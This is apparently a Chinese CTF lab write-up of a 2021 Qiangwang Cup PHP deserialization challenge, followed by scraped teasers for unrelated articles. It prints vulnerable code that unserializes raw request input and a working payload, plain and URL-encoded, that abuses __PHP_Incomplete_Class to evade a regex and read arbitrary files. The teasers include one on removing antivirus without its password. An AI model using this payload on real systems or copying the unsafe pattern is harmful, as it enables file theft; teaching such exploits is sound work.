做网站个体户执照/新闻稿范文
实验环境:
本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php
index.php :
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {echo "???";throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
function.php :
<?php
function __autoload($classname) {// function.phprequire_once "./$classname.php";
}
?>
myclass.php :
<?php
// myclass.php
//class myclass{}
class Hello {public function __destruct() {echo "I'm destructed.<br/>";var_export($this->qwb);if ($this->qwb) {echo file_get_contents($this->qwb);}}
}
?>
实验思路:
在本次中该实验考察的主题是序列化与反序列化中,当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入,绕过index.php中正则的过滤,最终成功的读取出flag.txt文件中的数据。注意:我们在读取时需要写绝对路径,否则读取不到数据,这里的路径为:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt
开始实验:
在开始实验前我们需要知道序列化与反序列化中的几个特殊机制:
(1):PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class
这种特殊的类,同时将原始的类名A
存放在__PHP_Incomplete_Class_Name
这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class
这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name
值为类名的类。
(2):当序列化字符串中包含了一个未定义的类名,且该类没有在当前环境中被定义时,__autoload 函数就会被触发以尝试加载相应的类定义。
在这个题目中,我们需要加载myclass.php
中的hello
类,但是要引入hello类,根据__autoload
我们需要一个classname
为myclass
的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class
的特殊处理进行绕过
在index.php页面中用户可控参数ctfer,ctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字,存在就直接抛异常退出,否则就进行往下。
我们构建特殊的序列化字符串数据,ctfer:
ctfer:a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}这是一个序列化字符串,它包含了两个对象。第一个对象是一个名为 `__PHP_Incomplete_Class` 的类,它有一个属性 `qwb`,该属性的值是另一个名为 `myclass` 的对象。由于 `myclass` 类没有定义,所以它的值是空对象。第二个对象是一个名为 `Hello` 的类,它有一个属性 `qwb`,该属性的值是一个字符串 `D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt`。这个序列化字符串可以用于在 PHP 中进行反序列化操作,以恢复原始的对象状态。
注意:由于我们时再浏览器上面进行输入的,所以我们还需要遵循规则,将其转化为urlcode编码后再传递:
ctfer = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d
之后我们再浏览器上面查看运行结果:我们发现文件被成功的读取出来了,并且绕过了index.php中的正则。
原理:
可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class
中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class
没有__PHP_Incomplete_Class_Name
该对象会消失,从而绕过preg_match
的检测,并在最后触发Hello
类的反序列化。
对比可以发现,对ctfer进行反序列化再序列化后,myclass消失了,成功的绕过了index.php中的正则:
传入的序列化数据ctfer:
ctfer=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}//对ctfer进行反序列化
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
结果:
array (size=2)0 => object(__PHP_Incomplete_Class)[1]public 'qwb' => object(__PHP_Incomplete_Class)[2]public '__PHP_Incomplete_Class_Name' => string 'myclass' (length=7)1 => object(Hello)[3]public 'qwb' => string 'D:\phpstudy_pro\WWW\dvwa\flag.txt' (length=33)//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果:
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}' (length=119)
相关文章:

序列化与反序列化漏洞实例
实验环境: 本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php index.php : <?php // inde…...

6、while循环 - 习题解析
目录 解析部分:分支练习1244. 请问一个正整数能够整除几次2问题描述解题思路代码实现代码解析 1062. 求落地次数问题描述解题思路代码实现代码解析 1254. 求车速问题描述解题思路代码实现代码解析 1261. 韩信点兵问题描述解题思路代码实现代码解析 解析部分…...

ReentrantLock可重入锁
可重⼊锁,这个锁可以被线程多次重复进⼊进⾏获取操作。 ReentantLock继承接⼝Lock并实现了接⼝中定义的⽅法,除了能完成synchronized所能完成的所有⼯作 外,还提供了诸如可响应中断锁、可轮询锁请求、定时锁等避免多线程死锁的⽅法。 在并发量…...

如何秒杀系统架构设计
原文路径:https://learn.lianglianglee.com/%e4%b8%93%e6%a0%8f/%e5%a6%82%e4%bd%95%e8%ae%be%e8%ae%a1%e4%b8%80%e4%b8%aa%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f/00%20%e5%bc%80%e7%af%87%e8%af%8d%20%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f%e6%9e%b6%e6%9e%84%e8%ae%be%e8%ae%…...

深度神经网络——什么是降维?
引言 什么是降维? 降维是用于降低数据集维度的过程,采用许多特征并将它们表示为更少的特征。 例如,降维可用于将二十个特征的数据集减少到仅有几个特征。 降维通常用于无监督学习任务 降维是一个用于降低数据集维度的过程,采用许…...

SpringMVC—RequestMapping注解
一、RequestMapping注解 RequestMapping注解:是Spring MVC框架中的一个控制器映射注解,用于将请求映射到相应的处理方法上,具体来说,他可以将指定URL的请求绑定到一个特定的方法或类上,从而实现对请求的处理和响应。 …...

Java线程池基本概念
全局和局部线程池 全局线程池 在Spring框架中,全局线程池如ThreadPoolTaskExecutor通常是作为Spring Bean存在的,它们的生命周期由Spring容器管理。当Spring容器关闭时,这些线程池也会被适当地清理和关闭。因此,开发者通常不需要手…...

智能车联网安全发展形势、挑战
一、技术演进加速车联网安全环境复杂变化 当前,5G、大数据、大算力、大模型等技术正加速在车联网领域实现融合应用。车联网的网络通信能力、感知计算水平以及创新业务应用都在快速发展,与此同时,车联网的网络安全环境也在随之演进变化&#…...

AWS概述
AWS概述EMR Serverless Aamzon Web Services提供了一系列全球范围的云产品,包括计算、存储、数据库、分析、网络、移动、开发工具、管理工具、IoT、安全和企业应用:按需交付、及时可用、采用随用随付的定价模式。你可以畅享200多种服务,从数据…...

MySQL常见面试题自测
文章目录 MySQL基础架构一、说说 MySQL 的架构?二、一条 SQL语句在MySQL中的执行过程 MySQL存储引擎一、MySQL 提供了哪些存储引擎?二、MySQL 存储引擎架构了解吗?三、MyISAM 和 InnoDB 的区别? MySQL 事务一、何谓事务࿱…...

c语言回顾-函数递归
1.递归的介绍 1.1什么是递归 递归是指在一个函数的定义中调用自身的过程。简单来说,递归是一种通过重复调用自身来解决问题的方法。 递归包括两个关键要素:基本情况和递归情况。基本情况是指当问题达到某个特定条件时,不再需要递归调用&am…...

消息队列-RabbitMQ-延时队列实现
死信队列 DLX,全称为Dead-Letter-Exchange,死信交换机,死信邮箱。当消息在一个队列中变成死信之后,它能重新发送到另外一个交换器中,这个交换器就是DLX,绑定DLX的队列就称为死信队列。 导致死信的几种原因: ● 消息…...

【热门开源项目推荐】满足不同程序员的需求与关注点
目录 前言一、热门开源项目介绍二、使用开源热门项目的优势(一)经济方面(二)技术方面(三)社区支持及协作方面 三、程序员选择项目模型建议(一)关键步骤(二)示…...

一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析)
一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析) rotatelogs rotatelogs 是一个用于管理日志文件的 Go 语言库,它提供了自动轮换、压缩和删除旧日志文件的功能。这个库可以帮助你更好地管理和维护你的应用程序日志。要使…...

【Go语言精进之路】构建高效Go程序:了解string实现原理并高效使用
🔥 个人主页:空白诗 🔥 热门专栏:【Go语言精进之路】 文章目录 引言一、Go语言的字符串类型1.1 字符串的定义1.2 字符串的零值可用1.3 字符串的不可变性1.4 字符串的拼接1.5 字符串的常用方法1.6 实际使用示例 二、字符串的内部表…...

HDFS 常见命令
在HDFS创建文件夹:hdfs dfs -mkdir /test 复制本地文件到HDFS中某个目录下:hdfs dfs -put /本地路径 /hdfs 路径 查看文件内容:hdfs dfs -cat /test.txt 查看当前文件夹目录:hdfs dfs -ls / 查看文件夹中的文件数:…...

示例:WPF中应用Grid的SharedSizeGroup设置整齐的布局
一、目的:应用Grid的SharedSizeGroup设置整齐的布局 二、实现 <ItemsControl ItemsSource"{local:GetStudents Count5}"><ItemsControl.ItemTemplate><DataTemplate><Grid ShowGridLines"True"><Grid.ColumnDefinit…...

React的form表单自定义校验规则
使用antd开发的过程中,必定会遇到需要对form表单进行必填校验的处理,正常情况下,我们都会一个空的必填校验,如下:一般我们只需要简单配置rules即可 <FormItem label"管理员姓名" {...itemLayout.wholeLi…...

一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境)
一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境),可作为深度学习信号前处理过程,水个SCI不是问题。 机械设备的状态信号中往往蕴含着大量的设备异常信息。如何从繁多的机械状态信号中提取足…...

618电商是社区网站入局的好时机吗?
近日,随着618大促的临近,许多内容平台像B站、小红书等纷纷被电商活动所充斥,让用户感觉仿佛被电商绑架一般。这种用户体验的极度不佳让人开始思考,难道这就是互联网社区的未来发展方向吗? 在所有平台性质的社区中&…...

不知道密码,一样能卸载瑞星esm防病毒终端安全防护系统
离开单位后试图卸载瑞星的时候却发现还需要密码,真是烦死了。研究了几分钟后找到了完美卸载方法。 首先,让我们请出老流氓360安全卫士,下载好它,让右键菜单出现使用 360强力删除这一选项。 之后,进入安全模式&#x…...

Chromium 开发指南2024 Mac篇-安装和配置depot_tools工具(三)
1.引言 在前两篇指南中,我们详细介绍了在 macOS 环境下编译 Chromium 所需的硬件要求和系统依赖,并具体讲解了如何正确安装和配置 Xcode。通过这些步骤,您已经为编译 Chromium 打下了坚实的基础。然而,编译 Chromium 还需要配置一…...

微信小程序-路由和页面跳转API
一.wx.navigateTo wx.navigateTo是通过编程实现页面跳转,和navigator组件组件中,open-type"navigate"属性类似,是保留当前页面跳转新的页面,不适用tabbar页面。 //保留当前页面,跳转到非tabbar页面wx.navig…...

PWR电源控制
一、PWR简介 1、PWR(Power Control)电源控制 (1)PWR负责管理STM32内部的电源供电部分,可以实现可编程电压监测器和低功耗模式的功能 (2)可编程电压监测器(PVD)可以监控…...

【记录46】【案例】echarts 柱状图
echarts环境4.1.0 <template><div id"threefour"></div> </template> <script> import * as echarts from "echarts" export default {name:"",components:{},data(){return {}},methods:{getdata(){var myChart…...

Github2024-06-12 开源项目日报 Top10
根据Github Trendings的统计,今日(2024-06-12统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目4JavaScript项目2Lua项目1PHP项目1Blade项目1非开发语言项目1TypeScript项目1Shell项目1从零开始构建你喜爱的技术 创建周期:2156 天…...

茶艺师服务师傅小程序APP源码(APP+小程序+公众号+H5)
🍵茶艺师服务小程序:品味生活的茶艺新体验🌱 🌿一、引言:茶艺师服务小程序,让生活更有味 在繁忙的生活中,品一杯香茗,感受茶文化的韵味,是许多人向往的休闲方式。然而&…...

【正则表达式】入门
参考视频:10分钟快速掌握正则表达式_哔哩哔哩_bilibili 这个网站用来测试写的正则表达式效果:regex101: build, test, and debug regex 示例: 限定符 ? 表示前一个字符可有可无 比如这里输入:de? 匹配结果可以得到d和de * 前…...

制造业为什么需要ERP企业管理软件?
如今,传统的制造业管理方式逐渐变得力不从心~库存积压、生产效率低下、供应链混乱…想象一下,如果你的企业仍然依赖于手工记录订单、库存和财务数据,那么每当市场发生变动时,你就需要花费大量的时间和精力去重新调整生产计划、更新…...

JavaScript Prototype
JavaScript Prototype JavaScript 是一种高级的、解释执行的编程语言,广泛应用于网页和服务器端开发。JavaScript 的核心特性之一是其原型继承机制,这是理解 JavaScript 对象模型的关键。 什么是 Prototype? 在 JavaScript 中,…...